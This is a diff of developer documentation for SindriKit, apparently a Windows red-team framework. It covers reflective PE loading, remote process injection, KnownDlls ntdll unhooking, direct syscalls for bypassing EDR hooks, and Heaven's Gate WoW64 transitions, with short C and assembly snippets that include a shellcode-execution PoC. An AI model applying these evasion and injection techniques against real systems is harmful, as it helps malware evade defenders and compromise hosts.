||||||
|
|
||||||
|
**Execute** — `snd_ldr_pe_execute_image` runs TLS + entry (local only).
|
||||||
|
|
||||||
|
**Manual staging** — call individual `snd_ldr_pe_*` engine functions to pause between stages (sleep obfuscation, custom instrumentation).
|
||||||
|
|
||||||
|
### Post-load DLL exports (PoC pattern)
|
||||||
|
|
||||||
|
After `snd_ldr_pe_execute_image`, PoCs `loader_winapi` and `loader_nowinapi` optionally resolve a named export and invoke it through the FFI bridge:
|
||||||
|
|
||||||
|
```c
|
||||||
|
FARPROC fn = NULL;
|
||||||
|
snd_ldr_pe_get_proc_address(&ctx, export_name, &fn);
|
||||||
|
UINT_PTR ret = snd_ffi_execute((PVOID)(UINT_PTR)fn, argc, argv);
|
||||||
|
```
|
||||||
|
|
||||||
|
This runs **after** `DllMain(DLL_PROCESS_ATTACH)` has already fired during execute. Requires `ctx.stage >= SND_STAGE_READY_FOR_EXECUTION` (execute advances to `EXECUTED`; get_proc_address accepts `>= READY`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Required context fields
|
||||||
|
|
||||||
|
Before calling `snd_ldr_pe_prepare_image`:
|
||||||
|
|
||||||
|
| Field | Required |
|
||||||
|
|---|---|
|
||||||
|
| `raw_source` | Valid `snd_buffer_t` with PE bytes |
|
||||||
|
| `mem_api` | Non-NULL with `alloc`, `free`, `protect` |
|
||||||
|
| `mod_api` | Non-NULL with `load_library`, `get_proc_address` |
|
||||||
|
|
||||||
|
`target.execution_base` defaults to `local_base` inside `allocate_and_copy_image` when unset. Injection sets it to the remote base before relocations.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Integration with Classic PE Injection
|
||||||
|
|
||||||
|
`snd_inj_classic_pe` uses a subset of the loader engine with a different ordering:
|
||||||
|
|
||||||
|
| Loader step | Used in injection? | Notes |
|
||||||
|
|---|---|---|
|
||||||
|
| Parse + alloc/copy | Yes | Local RW image |
|
||||||
|
| Relocations | Yes | `execution_base = remote_base` before apply |
|
||||||
|
| Imports | Yes | Local IAT fixup |
|
||||||
|
| Per-section protections | **No** | Injection uses flat RX on remote region |
|
||||||
|
| TLS + local execute | **No** | Remote thread starts at entry RVA |
|
||||||
|
| Write + remote protect + thread | Injection domain | Via `snd_inj_ctx_t` |
|
||||||
|
|
||||||
|
See [injection techniques](../injection/techniques.md).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## KnownDlls (bootstrapping, not a loader)
|
||||||
|
|
||||||
|
Retrieving clean `ntdll.dll` from `\KnownDlls` for syscall bootstrap is documented under [mapping primitives](../primitives/mapping/techniques.md). It is a **primitive** concern, not a loader technique.
|
||||||
|
|
||||||
|
Typical sequence before `snd_mem_sys` / `snd_proc_sys`:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
PVOID clean_ntdll = NULL;
|
PVOID clean_ntdll = NULL;
|
||||||
snd_status_t status = snd_map_knowndll(&snd_knowndlls_win, L"ntdll.dll", &clean_ntdll);
|
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
|
||||||
if (status.code == SND_SUCCESS) {
|
snd_syscall_set_ntdll(clean_ntdll);
|
||||||
snd_set_ntdll(clean_ntdll);
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
}
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
```
|
```
|
||||||
|
|
||||||
SindriKit exposes two configurations for the underlying section API calls:
|
---
|
||||||
- `snd_knowndlls_win`: uses Win32 wrappers — suitable for early bootstrapping before any syscall pipeline is configured.
|
|
||||||
- `snd_knowndlls_native`: uses raw NT functions directly — a fully Win32-free bootstrapping path once the syscall pipeline is ready.
|
|
||||||
|
|
||||||
> [!WARNING]
|
## Planned Loader Techniques
|
||||||
> `snd_map_knowndll()` requires a configuration struct (`&snd_knowndlls_win` or `&snd_knowndlls_native`) to dictate how it opens the section handles. If native mode is selected, the operator must ensure direct syscall primitives are manually bootstrapped elsewhere before attempting the map.
|
|
||||||
|
Future techniques will add new subdirectories under `loaders/` with their own context types and pipelines. Reflective loading remains the reference implementation for PE mapping semantics shared with injection bake paths.
|
||||||
|
|||||||
@@ -1,16 +1,34 @@
|
|||||||
# Primitives Domain
|
# Primitives Domain
|
||||||
|
|
||||||
The primitives domain forms the absolute foundation of SindriKit. Everything built on top of the framework (reflective loaders, injectors, evasion modules...) ultimately relies on one of the mechanisms documented here.
|
Foundation layer for SindriKit. Loaders, injection, and future domains rely on injected OS API tables and execution bridges documented here.
|
||||||
|
|
||||||
> [!IMPORTANT]
|
> [!IMPORTANT]
|
||||||
> **Zero Footprint Constraint:** Primitive implementations must avoid introducing new dependencies. For example, module resolution must occur via PEB walking rather than invoking `GetModuleHandle`.
|
> **Profile-aware OpSec:** Evasive profiles use PEB walking and hash-based resolution (`snd_mod_nt`, `_sys` backends). Diagnostic profiles use Win32 APIs (`snd_mod_win`). Match backends to your deployment tier.
|
||||||
|
|
||||||
|
## Subdomains
|
||||||
|
|
||||||
|
| Subdomain | Backends / focus |
|
||||||
|
|---|---|
|
||||||
|
| [memory/](memory/) | `snd_mem_win`, `snd_mem_nt`, `snd_mem_sys` |
|
||||||
|
| [modules/](modules/) | `snd_mod_win`, `snd_mod_nt` (no `_sys`) |
|
||||||
|
| [mapping/](mapping/) | `snd_map_win`, `snd_map_nt`, `snd_map_sys`, KnownDlls |
|
||||||
|
| [process/](process/) | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` |
|
||||||
|
| [syscalls/](syscalls/) | SSN resolution pipeline, `snd_syscall_invoke_asm` |
|
||||||
|
| [execution/](execution/) | FFI (`snd_ffi_execute`), Heaven's Gate |
|
||||||
|
|
||||||
|
Contract definitions: `include/sindri/primitives/os_api.h`
|
||||||
|
Umbrella include: `include/sindri/primitives.h`
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [execution/](execution/)
|
|
||||||
Techniques and APIs responsible for executing arbitrary memory (FFI) or transitioning across execution boundaries (Heaven's Gate).
|
- [execution/](execution/) — dynamic FFI, WoW64 transition; syscall ASM co-located in source
|
||||||
- [memory/](memory/)
|
- [memory/](memory/) — local virtual memory (`win`, `nt`, `sys`)
|
||||||
The foundational paradigms for interacting with host process memory (Native vs Win32 allocation).
|
- [modules/](modules/) — local module load and export resolution
|
||||||
- [modules/](modules/)
|
- [mapping/](mapping/) — section mapping and KnownDlls bootstrap
|
||||||
Techniques for interacting with loaded DLLs and extracting function addresses via PEB traversal.
|
- [process/](process/) — remote process operations (injection consumer)
|
||||||
- [syscalls/](syscalls/)
|
- [syscalls/](syscalls/) — direct kernel invocation, cascading SSN resolvers
|
||||||
The framework's advanced system for bypassing userland EDR hooks via a cascading fallback mechanism.
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Architecture: dependency injection](../../architecture/dependency_injection.md)
|
||||||
|
- [Parsers domain](../../parsers/README.md)
|
||||||
|
|||||||
@@ -1,11 +1,61 @@
|
|||||||
# Execution Primitives
|
# Execution Primitives
|
||||||
|
|
||||||
This directory contains techniques and API references for executing arbitrary memory pointers and transitioning across OS bitness boundaries.
|
Low-level mechanisms for **calling unknown function signatures**, **crossing WoW64 bitness boundaries**, and (in source layout) hosting the **syscall invoker**. These sit below memory, module, and process backends — loaders and injection chains consume them indirectly.
|
||||||
|
|
||||||
|
## Header map
|
||||||
|
|
||||||
|
| Header | Role |
|
||||||
|
|---|---|
|
||||||
|
| `sindri/primitives/ffi.h` | `snd_ffi_execute` — dynamic call bridge for resolved exports |
|
||||||
|
| `sindri/primitives/heavens_gate.h` | `snd_is_wow64`, `snd_hg_execute_64` — WoW64 → native x64 |
|
||||||
|
| `sindri/primitives/syscalls.h` | SSN resolution pipeline + `snd_syscall_invoke_asm` (documented under [syscalls/](../syscalls/)) |
|
||||||
|
|
||||||
|
All three are pulled in by `include/sindri/primitives.h` and `include/sindri.h`.
|
||||||
|
|
||||||
|
## Source layout
|
||||||
|
|
||||||
|
Implementation lives under `src/primitives/execution/`:
|
||||||
|
|
||||||
|
```
|
||||||
|
src/primitives/execution/
|
||||||
|
├── ffi/
|
||||||
|
│ ├── ffi_invoke.c ← snd_ffi_execute validation + dispatch
|
||||||
|
│ └── asm/
|
||||||
|
│ ├── ffi_x64.asm ← snd_ffi_bridge_x64
|
||||||
|
│ └── ffi_x86.asm ← snd_ffi_bridge_x86
|
||||||
|
├── heavens_gate/
|
||||||
|
│ ├── heavens_gate.c ← WoW64 detection + argument padding
|
||||||
|
│ └── asm/
|
||||||
|
│ └── heavens_gate_x86.asm ← snd_hg_invoke_x86 (CS 0x33 transition)
|
||||||
|
└── syscalls/
|
||||||
|
├── syscalls.c ← strategy chain, snd_syscall_resolve
|
||||||
|
├── syscalls_scan.c ← snd_syscall_resolve_ssn_scan
|
||||||
|
├── syscalls_sort.c ← snd_syscall_resolve_ssn_sort
|
||||||
|
└── asm/
|
||||||
|
├── invoke_x64.asm ← snd_syscall_invoke_asm (x64)
|
||||||
|
└── invoke_x86.asm ← snd_syscall_invoke_asm (x86)
|
||||||
|
```
|
||||||
|
|
||||||
|
Syscall resolution and invocation are documented in the dedicated [syscalls](../syscalls/) subtree; this directory focuses on FFI and Heaven's Gate.
|
||||||
|
|
||||||
|
## When to use which primitive
|
||||||
|
|
||||||
|
| Need | API | Typical consumer |
|
||||||
|
|---|---|---|
|
||||||
|
| Call a named export with unknown arity (`-e`/`-a`) | `snd_ffi_execute` | `loader_winapi`, `loader_nowinapi` PoCs |
|
||||||
|
| Invoke 64-bit code from a 32-bit WoW64 process | `snd_hg_execute_64` | `pocs/heavens_gate` |
|
||||||
|
| Bypass hooked `ntdll` stubs for memory/process ops | `snd_syscall_resolve` + `_sys` backends | `inject_pe`, `snd_mem_sys`, `snd_proc_sys` |
|
||||||
|
|
||||||
|
DllMain, TLS, and EXE entry use **typed direct calls** inside `snd_ldr_pe_execute_image` — not FFI. See [ffi.md](ffi.md).
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [ffi.md](ffi.md)
|
|
||||||
Details the MASM assembly bridges used to invoke dynamically resolved function pointers.
|
- [ffi.md](ffi.md) — MASM bridges, calling conventions, C4152-safe type punning
|
||||||
- [heavens_gate.md](heavens_gate.md)
|
- [heavens_gate.md](heavens_gate.md) — segment selector `0x33`, WoW64 TEB probe
|
||||||
Explains the transition from a 32-bit WoW64 process into native 64-bit mode using the `0x33` segment selector.
|
- [api_reference.md](api_reference.md) — public FFI and Heaven's Gate signatures
|
||||||
- [api_reference.md](api_reference.md)
|
|
||||||
Public API documentation for the dynamic execution and Heaven's Gate functions.
|
## Related documentation
|
||||||
|
|
||||||
|
- [Syscalls domain](../syscalls/README.md) — SSN engines, bootstrap, `snd_syscall_invoke_asm`
|
||||||
|
- [Loaders: DLL export FFI](../../loaders/techniques.md)
|
||||||
|
- [PoC: heavens_gate](../../../examples/heavens_gate.md)
|
||||||
|
|||||||
@@ -1,22 +1,40 @@
|
|||||||
# Execution: API Reference
|
# Execution: API Reference
|
||||||
|
|
||||||
This page documents the public API surface for execution boundary transitions and dynamic invocation.
|
Public headers: `include/sindri/primitives/ffi.h`, `include/sindri/primitives/heavens_gate.h`.
|
||||||
|
|
||||||
|
For the syscall surface (`snd_syscall_resolve`, `snd_syscall_invoke_asm`, strategy pipeline), see [syscalls/api_reference.md](../syscalls/api_reference.md).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Dynamic Invocation (`sindri/primitives/ffi.h`)
|
## Dynamic Invocation (`sindri/primitives/ffi.h`)
|
||||||
|
|
||||||
### `snd_execute_dynamic`
|
### `snd_ffi_execute`
|
||||||
|
|
||||||
Invokes an arbitrary resolved function pointer at runtime using a generic argument array. Handles all calling convention requirements (register placement, stack alignment, shadow space) natively in MASM.
|
Invokes an arbitrary resolved function pointer using a generic `UINT_PTR` argument array. Register placement, stack alignment, and shadow space are handled in MASM (`snd_ffi_bridge_x64` / `snd_ffi_bridge_x86`).
|
||||||
|
|
||||||
|
```c
|
||||||
|
UINT_PTR snd_ffi_execute(PVOID pFunctionAddress, DWORD dwArgCount, const UINT_PTR *pArgs);
|
||||||
|
```
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
| Parameter | Type | Description |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `pFunctionAddress` | `PVOID` | Target function pointer; returns 0 immediately if NULL |
|
| `pFunctionAddress` | `PVOID` | Target function; returns `0` immediately if NULL |
|
||||||
| `dwArgCount` | `DWORD` | Number of arguments in `pArgs`; may be 0 |
|
| `dwArgCount` | `DWORD` | Number of arguments; may be `0` |
|
||||||
| `pArgs` | `const UINT_PTR*` | Array of `dwArgCount` arguments; may be NULL if count is 0 |
|
| `pArgs` | `const UINT_PTR *` | Argument array; may be NULL when count is `0` |
|
||||||
|
|
||||||
**Returns:** `UINT_PTR` — the return value of the invoked function, or 0 on error.
|
**Returns:** `UINT_PTR` — value returned by the target, or `0` on error.
|
||||||
|
|
||||||
|
**Error / early-exit conditions:**
|
||||||
|
|
||||||
|
| Condition | Result |
|
||||||
|
|---|---|
|
||||||
|
| `pFunctionAddress == NULL` | Returns `0` |
|
||||||
|
| `dwArgCount > 0 && pArgs == NULL` | Returns `0` |
|
||||||
|
| Unsupported architecture | Returns `0` (compile-time `#error` on non-Windows) |
|
||||||
|
|
||||||
|
**Callee-saved registers** (`RBX`, `RBP`, `RDI`, `RSI`, `R12`–`R15` on x64) are preserved by the assembly bridge. The caller must supply arguments compatible with the target's actual signature and calling convention.
|
||||||
|
|
||||||
|
**Source:** `src/primitives/execution/ffi/ffi_invoke.c`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -24,21 +42,57 @@ Invokes an arbitrary resolved function pointer at runtime using a generic argume
|
|||||||
|
|
||||||
### `snd_is_wow64`
|
### `snd_is_wow64`
|
||||||
|
|
||||||
Checks whether the current 32-bit process is executing under WoW64 by reading the `WOW32Reserved` field directly from the Thread Environment Block (TEB). No Win32 API calls are made.
|
Detects WoW64 by reading `WOW32Reserved` from the TEB (`__readfsdword(0xC0)` on x86). No Win32 API calls.
|
||||||
|
|
||||||
**Returns:** `BOOL` — `TRUE` if running under WoW64, `FALSE` otherwise.
|
```c
|
||||||
|
BOOL snd_is_wow64(void);
|
||||||
|
```
|
||||||
|
|
||||||
|
| Build | Behavior |
|
||||||
|
|---|---|
|
||||||
|
| `_WIN32` (x86) | `TRUE` when `WOW32Reserved != NULL` |
|
||||||
|
| `_WIN64` | Always `FALSE` |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### `snd_hg_execute_64`
|
### `snd_hg_execute_64`
|
||||||
|
|
||||||
Transitions to 64-bit mode via the `0x33` segment selector and invokes the specified 64-bit function.
|
Transitions to 64-bit mode via CS selector `0x33` and invokes a 64-bit target. Arguments are copied into a fixed six-slot buffer before entering the ASM bridge (`snd_hg_invoke_x86`).
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t snd_hg_execute_64(
|
||||||
|
UINT64 pFunctionAddress,
|
||||||
|
DWORD dwArgCount,
|
||||||
|
const UINT64 *pArgs,
|
||||||
|
UINT64 *pResult);
|
||||||
|
```
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
| Parameter | Type | Description |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `pFunctionAddress` | `UINT64` | 64-bit virtual address of the target function |
|
| `pFunctionAddress` | `UINT64` | 64-bit virtual address of target |
|
||||||
| `dwArgCount` | `DWORD` | Number of 64-bit arguments (Max: 6) |
|
| `dwArgCount` | `DWORD` | Number of 64-bit arguments (max **6**, Microsoft x64 ABI) |
|
||||||
| `pArgs` | `const UINT64*` | Array of 64-bit arguments |
|
| `pArgs` | `const UINT64 *` | Argument array; required when count > 0 |
|
||||||
| `pResult` | `UINT64*` | Receives the 64-bit return value (`RAX`) |
|
| `pResult` | `UINT64 *` | Receives `RAX`; may be NULL (result discarded) |
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, or an error if the process is not running under WOW64.
|
**Returns:**
|
||||||
|
|
||||||
|
| Status | Cause |
|
||||||
|
|---|---|
|
||||||
|
| `SND_OK` | Invocation completed |
|
||||||
|
| `SND_STATUS_INVALID_PARAMETER` | NULL address, count > 6, or count > 0 with NULL `pArgs` |
|
||||||
|
| `SND_STATUS_UNSUPPORTED` | Native x64 build, non-WoW64 host, or pure 32-bit OS |
|
||||||
|
|
||||||
|
**Source:** `src/primitives/execution/heavens_gate/heavens_gate.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Internal ASM symbols (not public API)
|
||||||
|
|
||||||
|
| Symbol | File | Role |
|
||||||
|
|---|---|---|
|
||||||
|
| `snd_ffi_bridge_x64` | `ffi/asm/ffi_x64.asm` | x64 fast-call + shadow space |
|
||||||
|
| `snd_ffi_bridge_x86` | `ffi/asm/ffi_x86.asm` | Reverse-order stack push, ESP restore |
|
||||||
|
| `snd_hg_invoke_x86` | `heavens_gate/asm/heavens_gate_x86.asm` | Far return to CS `0x33`, x64 call |
|
||||||
|
| `snd_syscall_invoke_asm` | `syscalls/asm/invoke_x64.asm` or `invoke_x86.asm` (arch-selected) | Direct `syscall` instruction stub |
|
||||||
|
|
||||||
|
These are linked into `sindri::engine`; callers use the C wrappers above.
|
||||||
|
|||||||
@@ -1,22 +1,91 @@
|
|||||||
# Dynamic Invocation FFI
|
# Dynamic Invocation FFI
|
||||||
|
|
||||||
The Foreign Function Interface (FFI) primitives provide the capability to invoke an arbitrary, dynamically resolved function pointer at runtime using a generic array of arguments. This is primarily required by reflective loaders to call exports (like `DllMain`) from an in-memory PE image where the exact function signature is completely unknown at compile-time.
|
The Foreign Function Interface (FFI) layer invokes dynamically resolved function pointers at runtime using a generic argument array. PoCs use it for **named exports** (`-e`/`-a`) whose signatures are unknown at compile time. DllMain and EXE entry use typed calls inside the loader engine — see [Loader integration](#loader-integration).
|
||||||
|
|
||||||
## Architecture-Specific Bridges
|
**Public API:** `snd_ffi_execute` in `include/sindri/primitives/ffi.h`
|
||||||
|
**Dispatch:** `src/primitives/execution/ffi/ffi_invoke.c`
|
||||||
|
**Bridges:** `src/primitives/execution/ffi/asm/`
|
||||||
|
|
||||||
Calling an arbitrary function pointer in C typically requires casting it to a strictly typed signature. SindriKit implements architecture-specific MASM bridges to bypass this requirement and dynamically manipulate the stack and registers.
|
---
|
||||||
|
|
||||||
### x64 Implementation
|
## Why not cast in C?
|
||||||
The `snd_execute_dynamic` primitive for x64 is implemented as a MASM assembly bridge that strictly adheres to the Microsoft x64 calling convention:
|
|
||||||
1. It extracts the first four arguments from the provided array and places them into the fast-call registers: `RCX`, `RDX`, `R8`, and `R9`.
|
|
||||||
2. Any remaining arguments (argument 5 and beyond) are spilled onto the stack above the mandatory 32-byte shadow space.
|
|
||||||
3. The bridge forcefully ensures the stack pointer (`RSP`) remains 16-byte aligned before issuing the final `CALL` instruction, preventing fatal `EXCEPTION_DATATYPE_MISALIGNMENT` crashes that frequently plague unstable redteam loaders.
|
|
||||||
|
|
||||||
### x86 Implementation
|
Calling an arbitrary pointer in C requires casting to a typed function signature. MSVC emits **C4152** (non-standard function pointer conversion) when casting between incompatible function pointer types.
|
||||||
The 32-bit x86 implementation operates differently:
|
|
||||||
1. It iterates through the argument array in reverse order, pushing each argument sequentially onto the stack.
|
|
||||||
2. It invokes the target pointer.
|
|
||||||
3. Crucially, the bridge records the stack pointer (`ESP`) before pushing arguments and restores it immediately after the call returns. This provides universal support for both `__cdecl` (caller cleans up) and `__stdcall` (callee cleans up) targets without requiring prior knowledge of the target's exact calling convention.
|
|
||||||
|
|
||||||
## Type Punning
|
SindriKit avoids this at the call site:
|
||||||
Internally, the framework passes function pointers through `UINT_PTR` variables rather than explicit function pointer types to suppress MSVC C4152 compiler warnings, adhering to strict zero-warning compilation policies.
|
|
||||||
|
1. Resolve the export to `FARPROC` / `UINT_PTR`.
|
||||||
|
2. Cast through `(PVOID)(UINT_PTR)proc` — an integer conversion, not a function-pointer conversion.
|
||||||
|
3. Pass to `snd_ffi_execute`, which type-puns inside the MASM stub where the CPU simply `CALL`s the raw address.
|
||||||
|
|
||||||
|
PoC pattern (from `pocs/loader_winapi/main.c`):
|
||||||
|
|
||||||
|
```c
|
||||||
|
FARPROC dynamic_proc = NULL;
|
||||||
|
status = snd_ldr_pe_get_proc_address(&ctx, export_name, &dynamic_proc);
|
||||||
|
|
||||||
|
PVOID fn_ptr = (PVOID)(UINT_PTR)dynamic_proc;
|
||||||
|
UINT_PTR retval = snd_ffi_execute(fn_ptr, call_argc, call_argc > 0 ? call_args : NULL);
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Validation (`ffi_invoke.c`)
|
||||||
|
|
||||||
|
Before entering assembly:
|
||||||
|
|
||||||
|
| Check | Action |
|
||||||
|
|---|---|
|
||||||
|
| `pFunctionAddress == NULL` | Return `0` |
|
||||||
|
| `dwArgCount > 0 && pArgs == NULL` | Return `0` |
|
||||||
|
| Otherwise | Route to arch-specific bridge |
|
||||||
|
|
||||||
|
There is no arity or type validation — mismatched arguments corrupt the stack or registers.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## x64 bridge (`snd_ffi_bridge_x64`)
|
||||||
|
|
||||||
|
File: `ffi/asm/ffi_x64.asm`
|
||||||
|
|
||||||
|
Follows the Microsoft x64 calling convention:
|
||||||
|
|
||||||
|
1. **Registers:** Arguments 1–4 load into `RCX`, `RDX`, `R8`, `R9` from `pArgs[0..3]`.
|
||||||
|
2. **Stack:** Arguments 5+ spill above the mandatory **32-byte shadow space**.
|
||||||
|
3. **Alignment:** Dynamic frame allocation keeps `RSP` 16-byte aligned before `CALL`.
|
||||||
|
4. **Preservation:** Non-volatile registers saved in the prologue and restored on return.
|
||||||
|
|
||||||
|
The bridge computes frame size as `ALIGN_UP(32 + max(0, count-4)*8, 16)`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## x86 bridge (`snd_ffi_bridge_x86`)
|
||||||
|
|
||||||
|
File: `ffi/asm/ffi_x86.asm`
|
||||||
|
|
||||||
|
1. Push arguments **right-to-left** (reverse iteration over `pArgs`).
|
||||||
|
2. `CALL` the target.
|
||||||
|
3. Restore `ESP` to its pre-push value (`lea esp, [ebp-12]`).
|
||||||
|
|
||||||
|
This supports both **`__cdecl`** (caller cleans) and **`__stdcall`** (callee cleans) targets without knowing the convention in advance — the bridge always resets the stack pointer after return.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Loader integration
|
||||||
|
|
||||||
|
| Stage | Mechanism |
|
||||||
|
|---|---|
|
||||||
|
| EXE entry | Typed function pointer in `snd_ldr_pe_execute_image` (`chain.c`) |
|
||||||
|
| DLL `DllMain` | Typed `snd_dll_entry_proc_t` call in `snd_ldr_pe_execute_image` |
|
||||||
|
| TLS callbacks | Direct `PIMAGE_TLS_CALLBACK` invocations in `snd_ldr_pe_execute_tls_callbacks` |
|
||||||
|
| Named export (`-e`) | PoC resolves with `snd_ldr_pe_get_proc_address`, then `snd_ffi_execute` |
|
||||||
|
|
||||||
|
See [Loaders techniques](../../loaders/techniques.md) for the full reflective pipeline.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Limitations
|
||||||
|
|
||||||
|
- **No floating-point or struct returns** beyond what fits in `UINT_PTR` / integer registers.
|
||||||
|
- **No varargs** — pass a fixed count matching the target.
|
||||||
|
- **x86 vs x64** — build architecture selects the bridge; there is no cross-bitness FFI (use Heaven's Gate for WoW64 → x64).
|
||||||
|
|||||||
@@ -1,20 +1,115 @@
|
|||||||
# Heaven's Gate
|
# Heaven's Gate
|
||||||
|
|
||||||
Heaven's Gate is a specialized execution primitive for transitioning from a 32-bit WoW64 process into native 64-bit mode by manipulating the CPU segment selectors.
|
Heaven's Gate transitions a **32-bit WoW64 process** into **native 64-bit mode** by executing through the `0x33` code segment selector, then calling a 64-bit function address with up to six Microsoft x64 ABI arguments.
|
||||||
|
|
||||||
## The WoW64 Boundary
|
**Public API:** `include/sindri/primitives/heavens_gate.h`
|
||||||
|
**C layer:** `src/primitives/execution/heavens_gate/heavens_gate.c`
|
||||||
|
**ASM bridge:** `src/primitives/execution/heavens_gate/asm/heavens_gate_x86.asm` (`snd_hg_invoke_x86`)
|
||||||
|
|
||||||
When a 32-bit application executes on a 64-bit Windows OS, it runs inside the Windows-on-Windows (WoW64) subsystem. The WoW64 layer acts as an emulator, intercepting 32-bit API calls, thunking their arguments into 64-bit formats, and transitioning execution to the 64-bit kernel.
|
---
|
||||||
|
|
||||||
Security products frequently hook the 32-bit `ntdll.dll` residing inside the WoW64 environment. By initiating a Heaven's Gate transition, an implant bypasses this 32-bit userland completely and directly invokes the 64-bit kernel primitives.
|
## The WoW64 boundary
|
||||||
|
|
||||||
## Segment Selector `0x33`
|
On 64-bit Windows, 32-bit processes run inside the WoW64 subsystem. Userland hooks often target the **32-bit** `ntdll.dll` inside the WoW64 environment. A Heaven's Gate transition executes in **native 64-bit long mode**, bypassing that 32-bit userland layer for the duration of the call.
|
||||||
|
|
||||||
The transition is achieved by executing a far jump or call using the `0x33` segment selector. In 64-bit Windows, `0x33` is the Code Segment (`CS`) value that indicates the CPU should execute the subsequent instructions in 64-bit long mode.
|
|
||||||
|
|
||||||
SindriKit implements this via the `snd_hg_execute_64` function, allowing a 32-bit payload to pass a 64-bit function address and a 64-bit argument array across the boundary and retrieve a 64-bit `RAX` return value.
|
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> The Heaven's Gate primitives are only meaningful when compiled into a 32-bit process running under WoW64 on a 64-bit OS. Attempting to invoke them in a native 64-bit process or a pure 32-bit OS will result in failure.
|
> Heaven's Gate is only meaningful for **x86 builds on a 64-bit OS under WoW64**. Native x64 processes compile stub implementations that return `SND_STATUS_UNSUPPORTED`. Pure 32-bit Windows has no WoW64 and also fails the check.
|
||||||
|
|
||||||
**Original research:** [Heaven's Gate](https://github.com/JustasMasiulis/wow64pp) — see also [Alex Ionescu's WoW64 internals](https://wbenny.github.io/2018/11/04/wow64-internals.html)
|
---
|
||||||
|
|
||||||
|
## WoW64 detection (`snd_is_wow64`)
|
||||||
|
|
||||||
|
On x86, the TEB field at offset `0xC0` (`WOW32Reserved`) holds a pointer to the WoW64 transition machinery when running under WoW64:
|
||||||
|
|
||||||
|
```c
|
||||||
|
void *pWow32Reserved = (void *)__readfsdword(0xC0);
|
||||||
|
return (pWow32Reserved != NULL);
|
||||||
|
```
|
||||||
|
|
||||||
|
No `IsWow64Process` or other Win32 API is used.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Segment selector `0x33`
|
||||||
|
|
||||||
|
In 64-bit Windows, CS value **`0x33`** selects 64-bit long mode. The ASM stub performs a far return:
|
||||||
|
|
||||||
|
```nasm
|
||||||
|
push 33h
|
||||||
|
call next_inst
|
||||||
|
next_inst:
|
||||||
|
add dword ptr [esp], 5
|
||||||
|
retf
|
||||||
|
```
|
||||||
|
|
||||||
|
After `retf`, subsequent instructions execute as x64 until the stub returns through a matching transition back to 32-bit mode.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## C wrapper (`snd_hg_execute_64`)
|
||||||
|
|
||||||
|
### Argument padding
|
||||||
|
|
||||||
|
The ASM bridge expects a **fixed six-element** `UINT64` array. The C layer copies caller arguments into `safe_args[6]` (zero-padded) to prevent out-of-bounds reads in the stub:
|
||||||
|
|
||||||
|
```c
|
||||||
|
UINT64 safe_args[6] = {0};
|
||||||
|
for (DWORD i = 0; i < dwArgCount; i++) {
|
||||||
|
safe_args[i] = pArgs[i];
|
||||||
|
}
|
||||||
|
UINT64 result = snd_hg_invoke_x86(pFunctionAddress, safe_args);
|
||||||
|
```
|
||||||
|
|
||||||
|
### Validation
|
||||||
|
|
||||||
|
| Check | Status |
|
||||||
|
|---|---|
|
||||||
|
| `pFunctionAddress == 0` | `SND_STATUS_INVALID_PARAMETER` |
|
||||||
|
| `dwArgCount > 6` | `SND_STATUS_INVALID_PARAMETER` (with context string in debug builds) |
|
||||||
|
| `dwArgCount > 0 && pArgs == NULL` | `SND_STATUS_INVALID_PARAMETER` |
|
||||||
|
| `!snd_is_wow64()` | `SND_STATUS_UNSUPPORTED` |
|
||||||
|
|
||||||
|
### x64 register layout inside the stub
|
||||||
|
|
||||||
|
Once in 64-bit mode, the bridge follows the Microsoft x64 convention:
|
||||||
|
|
||||||
|
| Slot | Register / stack |
|
||||||
|
|---|---|
|
||||||
|
| Arg 1–4 | `RCX`, `RDX`, `R8`, `R9` |
|
||||||
|
| Arg 5–6 | `[RSP+32]`, `[RSP+40]` above shadow space |
|
||||||
|
| Return | `RAX` → copied to `*pResult` when non-NULL |
|
||||||
|
|
||||||
|
Stack is realigned to 16 bytes and 48 bytes of shadow + spill space is allocated before `CALL RAX`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Usage example
|
||||||
|
|
||||||
|
From `pocs/heavens_gate/main.c`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
#if defined(_WIN64)
|
||||||
|
return SND_STATUS_ARCH_MISMATCH;
|
||||||
|
#elif defined(_WIN32)
|
||||||
|
if (!snd_is_wow64()) {
|
||||||
|
return SND_STATUS_ARCH_MISMATCH;
|
||||||
|
}
|
||||||
|
|
||||||
|
UINT64 result = 0;
|
||||||
|
snd_status_t status = snd_hg_execute_64(
|
||||||
|
(UINT64)(ULONG_PTR)pShellcode,
|
||||||
|
0, NULL, &result);
|
||||||
|
#endif
|
||||||
|
```
|
||||||
|
|
||||||
|
